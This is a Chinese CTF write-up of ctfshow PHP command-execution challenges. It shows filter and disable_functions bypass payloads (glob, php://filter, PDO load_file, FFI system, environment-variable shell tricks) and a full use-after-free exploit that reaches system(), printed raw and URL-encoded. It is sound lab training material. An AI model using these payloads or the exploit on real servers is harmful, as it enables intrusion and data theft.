web68(+highlight_file) 这一次直接把highlight_file也禁用了,导致源码都看不到,但是还是先尝试找文件
c=var_dump(scandir("/")); //flag.txt c=include($_POST[a]);&a=php://filter/resource=/flag.txt c=readgzfile("/flag.txt");
web69(+var_dump) 用var_export
代替即可
c=var_export(scandir("/")); //flag.txt c=include($_POST[a]);&a=php://filter/resource=/flag.txt c=readgzfile("/flag.txt");
web70(+error_reporting) 又禁用几个函数,但是影响不大,直接同上
web71(输出中过滤数字字母) <?php error_reporting (0 );ini_set ('display_errors' , 0 );if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); $s = ob_get_contents (); ob_end_clean (); echo preg_replace ("/[0-9]|[a-z]/i" ,"?" ,$s ); }else { highlight_file (__FILE__ ); } ?> 你要上天吗?
给了源码,将输出中数字和字母替换为问号
通过exit()/die()提前结束程序
c=var_export(scandir('/'));exit(); c=include("/flag.txt");die();
web72(同上) c=var_export(scandir('/'));exit();
不能正常使用
猜测是开启了open_basedir。
open_basedir可将用户访问文件的活动范围限制在指定的区域,通常是其家目录的路径。
所以要先绕过open_basedir。首先排除命令执行绕过的可能,disable_function已经禁用了命令执行函数(不知道有没有什么办法绕过)。可以使用glob伪协议绕过,glob伪协议筛选目录不受open_basedir的制约。
c= $a=new DirectoryIterator("glob:///*"); foreach($a as $f){ echo $f." " ; } exit();
通过这个命令找到flag文件为flag0.txt,然后通过UAF脚本读取就行(虽然但是,这个真不会),注意脚本要url编码后使用
<?php function ctfshow($cmd) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new Exception)->getTrace(); if(!isset($backtrace[1]['args'])) { $backtrace = debug_backtrace(); } } } class Helper { public $a, $b, $c, $d; } function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= sprintf("%c",($ptr & 0xff)); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = sprintf("%c",($v & 0xff)); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } function trigger_uaf($arg) { $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); $vuln = new Vuln(); $vuln->a = $arg; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); trigger_uaf('x'); $abc = $backtrace[1]['args'][0]; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); } $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; write($abc, 0x60, 2); write($abc, 0x70, 6); write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system); ($helper->b)($cmd); exit(); } ctfshow("cat /flag0.txt");ob_end_flush(); ?>
最终payload
c=%0Afunction%20ctfshow(%24cmd)%20%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(!isset(%24backtrace%5B1%5D%5B'args'%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20class%20Helper%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24j%20%3D%20%24s-1%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%2B%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%3D0%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if(%24s%20!%3D%208)%20%7B%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20*%208)%20-%201%3B%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20parse_elf(%24base)%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20*%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%20%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20*%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_system(%24basic_funcs)%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20trigger_uaf(%24arg)%20%7B%0A%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(stristr(PHP_OS%2C%20'WIN'))%20%7B%0A%20%20%20%20%20%20%20%20die('This%20PoC%20is%20for%20*nix%20systems%20only.')%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%20%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%0A%20%20%20%20trigger_uaf('x')%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5B'args'%5D%5B0%5D%3B%0A%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%20%7D%3B%0A%0A%20%20%20%20if(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%20%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%20%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflag0.txt%22)%3Bob_end_flush()%3B%0A%3F%3E%0A
web73-74(可用include) 先找文件
c= $a=new DirectoryIterator("glob:///*"); foreach($a as $f){ echo $f." " ; } exit();
也可以使用c=var_export(glob('../../../*'));exit();
或者c=var_export(glob('../../..'.'/*'));exit();
和之前的差别是可以通过include读取文件
c=include('/flagc.txt');die(); //73 c=include('/flagx.txt');die(); //74
web75-76(PDO进行sql查询) 依旧是用glob伪协议读取根目录,但是include()又不能用了,从大佬的wp学习了一下,这题的思路是通过PDO(PHP操作多种数据库的统一接口)对数据库进行访问,执行SQL语句得到flag。
c= try { $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root'); foreach ($dbh->query('select load_file("/flag36.txt")') as $row) { echo ($row[0]) . "|"; } $dbh = null; } catch (PDOException $e) { echo $e->getMessage(); exit(0); } exit(0);
c= try { $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root'); foreach ($dbh->query('select load_file("/flag36d.txt")') as $row) { echo ($row[0]) . "|"; } $dbh = null; } catch (PDOException $e) { echo $e->getMessage(); exit(0); } exit(0);
首先连接数据库,然后使用foreach遍历query()函数(作用:发送一条MYSQL查询)返回的结果,并且输出结果,再下面的就是输出报错信息了。
web77(FFI调用c中system函数) c=var_export(scandir("/"));
先尝试输出文件,结果还是被替换了
c= $a=new DirectoryIterator("glob:///*"); foreach($a as $f){ echo $f." " ; } exit(); //flag36x.txt
再尝试包含文件,结果失败了,看看wp
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。通过FFI,可以实现调用system函数,从而将flag直接写入一个新建的文本文件中,然后访问这个文本文件,获得flag。注意:php7.4以上才有
c=$ffi = FFI::cdef("int system(const char *command);"); $a='/readflag > 1.txt'; $ffi->system($a); exit(); 解释 $ffi = FFI::cdef("int system(const char *command);");//创建一个system对象 $a='/readflag > 1.txt';//没有回显的 $ffi->system($a);//通过$ffi去调用system函数
然后再读该文件就行
c=readgzfile("1.txt");exit;
总结 列出文件 c=print_r(scandir("/")); //根目录 c=print_r(scandir(dirname('FILE'))); //当前目录 c=var_dump(scandir("/")); c=var_export(scandir("/"));
读取文件 c=system("cat flag.php"); c=$'\164\141\143' $'\146\154\141\147\56\160\150\160' //原始为c=$'cat' $'flag/php' c=data://text/plain,<?php system("tac flag.php");?> c=include($_POST[a]);&a=php://filter/resource=flag.php c=include($_POST[a]);&a=php://filter/read=convert.base64-encode/resource=flag.php c=highlight_file("flag.php"); c=readgzfile("flag.php"); c=show_source("flag.php");
web118(环境变量绕过) 先提示了flag在flag.php中,在环境源码中看到注释<!-- system($code);-->
,因此直接命令执行,但是一直回显eval input
,看wp发现过滤了小写字母和数字,该题通过环境变量绕过
参考另一篇文章linux基础 ,里面提及了要使用的环境变量
所以可以利用各个环境变量的最后一位来构造命令。${PWD}在这题肯定是/var/www/html,而${PATH}通常是bin,那么${PWD:~A}的结果就应该是'l',因为${PATH:~A}的结果是'n',那么他们拼接在一起正好是nl,能够读取flag,因为通配符没有被过滤,所以可以用通配符代替flag.php
code=${PATH:~A}${PWD:~A} ????.???
在源码中找到flag
web119(过滤path) 法一 可以构造出/bin/base64 flag.php,只需要/和4两个字符就行,其他的可以用通配符代替。 /很简单,pwd的第一位就是,因为这题ban了数字,所以可以用该题值必是1的$=$代替
code=${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.??? //原始为/bin/base64 flag.php code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.??? //原始为/bin/rev flag.php,有一种输出方法叫:rev,其目录在/bin/rev; 他的作用是逆序输出,得到结果再逆序回来就好,蛮好用的; ${PWD:${#IFS}:${##}}在/var/www/html可以取第四位,刚好是r,然后后面用通配符匹配一下;
web122(+#|PWD) <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_POST ['code' ])){ $code =$_POST ['code' ]; if (!preg_match ('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/' , $code )){ if (strlen ($code )>65 ){ echo '<div align="center">' .'you are so long , I dont like ' .'</div>' ; } else { echo '<div align="center">' .system ($code ).'</div>' ; } } else { echo '<div align="center">evil input</div>' ; } } ?>
PWD的绕过很简单,用HOME就可以,而#就要用到$?
了
$? 执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)
所以在使用$?
之前要先给错误的命令 让$?
的值为1,${}
和 <A
可以但是这个题目${}
不可以 所以用<A
,后边的数字4还是用RANDOM
随机数来获取
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.??? //原始为/bin/base64 flag.php
挺非的,至少刷了二十多次才出来
web124(数学函数白名单,动态构造) <?php error_reporting (0 );if (!isset ($_GET ['c' ])){ show_source (__FILE__ ); }else { $content = $_GET ['c' ]; if (strlen ($content ) >= 80 ) { die ("太长了不会算" ); } $blacklist = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ]; foreach ($blacklist as $blackitem ) { if (preg_match ('/' . $blackitem . '/m' , $content )) { die ("请不要输入奇奇怪怪的字符" ); } } $whitelist = ['abs' , 'acos' , 'acosh' , 'asin' , 'asinh' , 'atan2' , 'atan' , 'atanh' , 'base_convert' , 'bindec' , 'ceil' , 'cos' , 'cosh' , 'decbin' , 'dechex' , 'decoct' , 'deg2rad' , 'exp' , 'expm1' , 'floor' , 'fmod' , 'getrandmax' , 'hexdec' , 'hypot' , 'is_finite' , 'is_infinite' , 'is_nan' , 'lcg_value' , 'log10' , 'log1p' , 'log' , 'max' , 'min' , 'mt_getrandmax' , 'mt_rand' , 'mt_srand' , 'octdec' , 'pi' , 'pow' , 'rad2deg' , 'rand' , 'round' , 'sin' , 'sinh' , 'sqrt' , 'srand' , 'tan' , 'tanh' ]; preg_match_all ('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/' , $content , $used_funcs ); foreach ($used_funcs [0 ] as $func ) { if (!in_array ($func , $whitelist )) { die ("请不要输入奇奇怪怪的函数" ); } } eval ('echo ' .$content .';' ); }
假设我们要构造出如下表达式c=$_GET[a]($_GET[b])&a=system&b=cat flag
我们需要构造的是其实只有_GET,$我们可使用,中括号可用花括号代替,小括号也是可以使用的。这时候我们想到了一个办法,如果可以构造出hex2bin函数就可以将16进制转换成字符串了。我们又可以用decoct将10进制转换成16进制。也就是可以将10进制转换成字符串。 那么问题来了,hex2bin怎么构造呢,这时候就需要用到base_convert了。 我们发现36进制中包含了所有的数字和字母,所有只需要将hex2bin按照36进制转换成10进制就可以了。
base_convert('hex2bin', 36, 10); //结果37907361743,hex2bin转十进制 base_convert('37907361743',10,36); //结果hex2bin,37907361743转36进制即字符 hexdec(bin2hex("_GET")); //结果 1598506324,_GET即36进制转十六进制再转十进制 base_convert('37907361743',10,36)(dechex('1598506324')); //结果_GET,1598506324转十六进制再转36进制即字符
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=ls //原始为c=$pi=_GET;$$pi{abs}($$pi{acos})&abs=system&acos=ls c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=tac f* //原始为c=$pi=_GET;$$pi{abs}($$pi{acos})&abs=system&acos=tac f*
其他解释
$pi是因为题目限制只能用这个,其他的不让用 首先$pi的值是_GET,定义这个变量是因为为了动态调用php函数 动态调用 PHP 函数,需要使用 $var{func}
这种形式,其中 $var
是一个字符串,{func}
表示函数名。否则,如果直接使用 $func
,则 PHP 引擎会将其解释为一个未定义的常量,并且会导致语法错误。 为了调用system函数,就要构造
$pi{abs}($pi{acos});&abs=system&acos=ls $pi{abs}($pi{acos});&abs=system&acos=tac flag.php
因为$pi
是一个字符串,而不是一个函数。$pi
的值是通过将 37907361743
和 1598506324
作为参数传递给 base_convert
和 dechex
函数计算得到的字符串。因此,如果直接使用 $pi{abs}($pi{acos})
,PHP 引擎将无法识别 $pi
变量中的函数名。 为了解决这个问题,可以使用 PHP 变量变量解析器和函数调用链来动态调用函数。具体来说,$$pi{abs}
将 $pi{abs}
解释为一个变量名,然后使用 $pi{acos}
作为该变量名的值进行函数调用。因此,$$pi{abs}($$pi{acos})
将会调用 $pi{abs}($pi{acos})
。 所以要构造
$$pi{abs}($$pi{acos});&abs=system&acos=ls $$pi{abs}($$pi{acos});&abs=system&acos=tac flag.php